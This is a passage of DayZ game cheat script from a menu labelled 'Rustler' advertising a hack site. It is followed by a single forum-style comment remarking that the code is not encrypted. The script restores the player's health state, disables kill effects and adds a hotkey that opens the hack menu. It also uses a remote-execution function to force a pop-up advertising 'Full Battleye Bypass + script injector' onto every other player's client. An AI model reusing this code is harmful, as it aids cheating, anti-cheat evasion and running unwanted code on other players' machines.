thfile = thfile + ["Ghillie",format ["[dayz_playerUID,dayz_characterID,'Sniper1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Winter Camo",format ["[dayz_playerUID,dayz_characterID,'CamoWinter_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Invisible Skin",format ["[dayz_playerUID,dayz_characterID,'Survivor1_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Namalsk Sniper",format ["[dayz_playerUID,dayz_characterID,'Skin_Sniper1W_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Namalsk Winter Camo",format ["[dayz_playerUID,dayz_characterID,'Skin_CamoWinterW_DZN'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Takistan Jeehadi",format ["[dayz_playerUID,dayz_characterID,'TK_INS_Soldier_EP1'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Chicken",format ["[dayz_playerUID,dayz_characterID,'Hen'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Dog",format ["[dayz_playerUID,dayz_characterID,'Dog'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Rabbit",format ["[dayz_playerUID,dayz_characterID,'Rabbit'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Zombie",format ["[dayz_playerUID,dayz_characterID,'z_soldier_pilot'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo1 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Sniper2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo2 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo2_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo3 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo3_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo4 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo4_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["Camo5 (DayZ+)",format ["[dayz_playerUID,dayz_characterID,'Camo5_DZ'] spawn player_humanityMorph;"],"0","0","0","0",[0, 0, 1, 1]];
thfile = thfile + ["","","0","1","0","0",[]];
thfile = thfile + ["BACK","BACK","0","0","1","0",color_green];
for [{_num = 0}, {_num <= count(thfile)-1}, {_num = _num+7}] do
{
_index = _ctrl lbAdd format["%1", thfile select _num];
_issubmenu = thfile select (_num+4);
_thcolor = thfile select (_num+6);
if (count _thcolor == 0) then
{
_ctrl lbSetColor [(lbsize _ctrl)-1, menu_run];
}
else
{
_ctrl lbSetColor [(lbsize _ctrl)-1, _thcolor];
};
};
};
monteniggro = { [] spawn {
if (isNil "terggel") then {terggel = 0;}; if (terggel==0) then {terggel = 1; while {terggel==1} do {
if ((count Monky_hax_toggled_Display) >= 1) then {toggle1 = Monky_hax_toggled_Display select 0;}else { toggle1 = nil;};
if ((count Monky_hax_toggled_Display) >= 2) then {toggle2 = Monky_hax_toggled_Display select 1;}else { toggle2 = nil;};
if ((count Monky_hax_toggled_Display) >= 3) then {toggle3 = Monky_hax_toggled_Display select 2;}else { toggle3 = nil;};
if ((count Monky_hax_toggled_Display) >= 4) then {toggle4 = Monky_hax_toggled_Display select 3;}else { toggle4 = nil;};
if ((count Monky_hax_toggled_Display) >= 5) then {toggle5 = Monky_hax_toggled_Display select 4;}else { toggle5 = nil;};
if ((count Monky_hax_toggled_Display) >= 6) then {toggle6 = Monky_hax_toggled_Display select 5;}else { toggle6 = nil;};
if ((count Monky_hax_toggled_Display) >= 7) then {toggle7 = Monky_hax_toggled_Display select 6;}else { toggle7 = nil;};
if ((count Monky_hax_toggled_Display) >= 8) then {toggle8 = Monky_hax_toggled_Display select 7;}else { toggle8 = nil;};
if ((count Monky_hax_toggled_Display) >= 9) then {toggle9 = Monky_hax_toggled_Display select 8;}else { toggle9 = nil;};
if ((count Monky_hax_toggled_Display) >= 10) then {toggle10 = Monky_hax_toggled_Display select 9;}else { toggle10 = nil;};
if ((count Monky_hax_toggled_Display) >= 11) then {toggle11 = Monky_hax_toggled_Display select 10;}else { toggle11 = nil;};
if !(isNil "toggle1") then {
[format["<t size ='0.7' color='#00FF00' allign='left'>%1</t>",toggle1],(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,0,0,3016] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3016] spawn bis_fnc_dynamicText;};
if !(isNil "toggle2") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle2],(safezoneX- 1.26)/2,-(safezoneH-1.45)/2,99999999,0,0,3017] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3017] spawn bis_fnc_dynamicText;};
if !(isNil "toggle3") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle3],(safezoneX- 1.26)/2,-(safezoneH-1.65)/2,99999999,0,0,3018] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3018] spawn bis_fnc_dynamicText;};
if !(isNil "toggle4") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle4],(safezoneX- 1.26)/2,-(safezoneH-1.85)/2,99999999,0,0,3019] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3019] spawn bis_fnc_dynamicText;};
if !(isNil "toggle5") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle5],(safezoneX- 1.26)/2,-(safezoneH-2.05)/2,99999999,0,0,3020] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3020] spawn bis_fnc_dynamicText;};
if !(isNil "toggle6") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle6],(safezoneX- 1.26)/2,-(safezoneH-2.25)/2,99999999,0,0,3021] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3021] spawn bis_fnc_dynamicText;};
if !(isNil "toggle7") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle7],(safezoneX- 1.26)/2,-(safezoneH-2.45)/2,99999999,0,0,3022] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3022] spawn bis_fnc_dynamicText;};
if !(isNil "toggle8") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle8],(safezoneX- 1.26)/2,-(safezoneH-2.65)/2,99999999,0,0,3023] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3023] spawn bis_fnc_dynamicText;};
if !(isNil "toggle9") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle9],(safezoneX- 1.26)/2,-(safezoneH-2.85)/2,99999999,0,0,3024] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3024] spawn bis_fnc_dynamicText;};
if !(isNil "toggle10") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle10],(safezoneX- 1.26)/2,-(safezoneH-3.05)/2,99999999,0,0,3025] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3025] spawn bis_fnc_dynamicText;};
if !(isNil "toggle11") then {
[format["<t size ='0.7' color='#00FF00'>%1</t>",toggle11],(safezoneX- 1.26)/2,-(safezoneH-3.25)/2,99999999,0,0,3026] spawn bis_fnc_dynamicText;
} else {["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,3026] spawn bis_fnc_dynamicText;};
sleep 0.1;
}; } else {
terggel = 0;
for "_i" from 0 to ((count Monky_hax_toggled_Display) - 1) do {
["<t size ='0.7' color='#00FF00'></t>",(safezoneX- 1.26)/2,-(safezoneH-1.25)/2,99999999,-1,0,(3016 + _i)] spawn bis_fnc_dynamicText;};
sleep 0.1;
};};};
on = true;
execute =
{
_display = findDisplay 2929;
_textCode = _display displayctrl 292908;
_exec = ctrlText 292908;
_textCode ctrlSetText format [" '%1' can not be processed and executed.
Buy the Full version when it comes out
to enable this feature.",_exec];
_textCode ctrlSetFontHeight 0.027;
_textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
_textCode ctrlSetFont "Zeppelin33";
};
hint1 = {
_display = findDisplay 2929;
_textCode = _display displayctrl 292908;
_exec = ctrlText 292908;
_textCode ctrlSetText format [" '%1' can not be processed and displayed.
Buy the Full version when it comes out
to enable this feature.",_exec];
_textCode ctrlSetFontHeight 0.027;
_textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
_textCode ctrlSetFont "Zeppelin33";
};
hint2 = {
_display = findDisplay 2929;
_textCode = _display displayctrl 292908;
_exec = ctrlText 292908;
_textCode ctrlSetText format [" '%1' can not be processed and hinted.
Buy the Full version when it comes out
to enable this feature.",_exec];
_textCode ctrlSetFontHeight 0.027;
_textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
_textCode ctrlSetFont "Zeppelin33";
};
Monky_initMenu =
{
disableSerialization;
// Remap functions
_ctrl = (findDisplay 2929) displayctrl 292901;
_ctrl ctrlSetEventHandler ["LBDblClick", "call Monky_hax_dbclick;"];
_ctrl ctrlCommit 0.001;
call Monky_fillHax;
call Monky_fillPlrs;
_display = findDisplay 2929;
_textTitle = _display displayctrl 292905;
_textPath = _display displayctrl 292906;
_textDesc = _display displayctrl 292907;
_textCode = _display displayctrl 292908;
_btnCopy = _display displayctrl 292909;
_btnCopy2 = _display displayctrl 292910;
_btnCopy3 = _display displayctrl 292911;
_listFunctions = _display displayCtrl 292901;
_listSources = _display displayCtrl 292902;
_listTags = _display displayCtrl 292903;
_listCats = _display displayCtrl 292904;
//title
_textTitle ctrlSetText " RUSTLING TIME";
_textTitle ctrlSetTextColor title_dialog;
_textTitle ctrlSetFont "Zeppelin33Italic";
_listFunctions ctrlCommit 0.001;
//subtitle
_textPath ctrlSetText "Free (beta) v1.0";
_textPath ctrlSetTextColor [0.3, 0.5, 0.9, 1];
_textPath ctrlSetFont "Zeppelin33Italic";
//herohacks
_textDesc ctrlSetText "Powered by www.hero**********";
_textDesc ctrlSetTextColor [0.5, 0.6, 1, 1];
_textDesc ctrlSetFont "Zeppelin33Italic";
//copybin
//dont remove the blank gap
if (******sandshit) then
{
_textCode ctrlSetText "Type Code Here";
_textCode ctrlSetFontHeight 0.027;
_textCode ctrlSetTextColor [0.5, 0.6, 1, 1];
_textCode ctrlSetFont "Zeppelin33";} else {
disableSerialization;
_textCode ctrlSetText "
==[ RUSTLER TIAL (BETA) 1.0 INFORMATION ]==
Credits:
Monky - A few scripts, lots of help
Rustler - Scripts, Menu, Rustles
Powered by www.hero**********
Buy the full version when it is
released for ALL the features!
~pop pop pop watchin jimmies drop~";
_textCode ctrlSetFontHeight 0.027;
_textCode ctrlSetTextColor [0.9, 0.1, 0.3, 1];
_textCode ctrlSetFont "Zeppelin33";
};
//setting button actions
_btnCopy ctrlSetText "Display Text";
_btnCopy ctrlSetTextColor [0.5, 0.6, 1, 1];
_btnCopy ctrlSetFont "Zeppelin33";
_btnCopy buttonSetAction "call hint1;";
//exec custom code
_btnCopy2 ctrlSetText "Execute Code";
_btnCopy2 ctrlSetTextColor [0.5, 0.6, 1, 1];
_btnCopy2 ctrlSetFont "Zeppelin33";
_btnCopy2 buttonSetAction "call execute;";
//spawn news banner
_btnCopy3 ctrlSetText "Info Text/News";
_btnCopy3 ctrlSetTextColor [0.5, 0.6, 1, 1];
_btnCopy3 buttonSetAction "call hint2;";
// Fixing the MainList / hacks
_listFunctions ctrlSetPosition [safezoneX + 0.713, safezoneY + 0.785, 0.415, safezoneH - 1.2];
_listFunctions ctrlSetFont font;
_listFunctions ctrlCommit 0.001;
//hiding unneeded shit
_listSources ctrlShow false;
_listTags ctrlShow false;
//fixing playerlist
_listCats ctrlSetPosition [safezoneX + 0.713, safezoneY + 0.451, 0.415, safezoneH - 1.484];
_listCats ctrlSetFont font;
_listCats ctrlCommit 0.001;
(_display displayctrl 292905) ctrlSetBackgroundColor [1, 0, 0, 0.1];
};
if (isNil "runoncebby") then {call monteniggro; runoncebby = true;};
};
waitUntil {!isNil "Monky_funcs_inited"};
if (!isNull findDisplay 3030) exitWith {};
if !(createDialog "RscFunctionsViewer") exitWith {hintSilent "createDialog failed";};
call Monky_initMenu;
waitUntil {!dialog || !alive player};};
keibunds = {
if (!isnil "keypit") then
{
(findDisplay 46) displayRemoveEventHandler ["KeyDown", keypit];
};
keybinds =
{
switch (_this) do
{
case 15:
{
[] spawn rustlinginit;
};
};
};
waituntil {!isnull (finddisplay 46)};
sleep 1;
keypit = (findDisplay 46) displayAddEventHandler ["KeyDown", "_this select 1 call keybinds; false;"];
};
endLoadingScreen;
DAYZ_CA1_Lollipops = nil;
cutText ["", "BLACK IN"];
disableUserInput false;
r_player_blood = 12000;
r_player_lowblood = false;
r_player_unconscious = false;
r_player_timeout = 0;
penaltyTimeout = false;
BIS_Effects_EH_Killed = {};
[] spawn keibunds;
[] spawn monitoure;
hint parseText "<t size='1.5' color='#40FF00'>SCRIPTS LOADED</t>";
["RUSTLER MENU", "FREE TRIAL (BETA)","Scripts Loaded!"] spawn BIS_fnc_infotext;
sleep 15;
_list = [getplayeruid player];
_allbutme = format ["if !(getPlayerUID player in %1) then
{
""HeroHa""+""cks DayZ Cheat!"" hintC [parsetext ""<t color='#5882FA' >Come to www.heroh<t/><t color='#5882FA' >acks.com for the best Free and VIP cheats!<t/>"",
parsetext ""<t color='#5882FA' >The ONLY place with the new Rustler 4.0 Menu<t/>"",
parsetext ""<t color='#5882FA' >Full Battleye Bypass + script injector<t/>"",
parsetext ""<t color='#5882FA' >Free DayZ Hack Trial Version!<t/>""];
};",_list];
[_allbutme] call Rustler_RE;
I don't see what's so encrypted about that... What exactly are you people trying to do? :/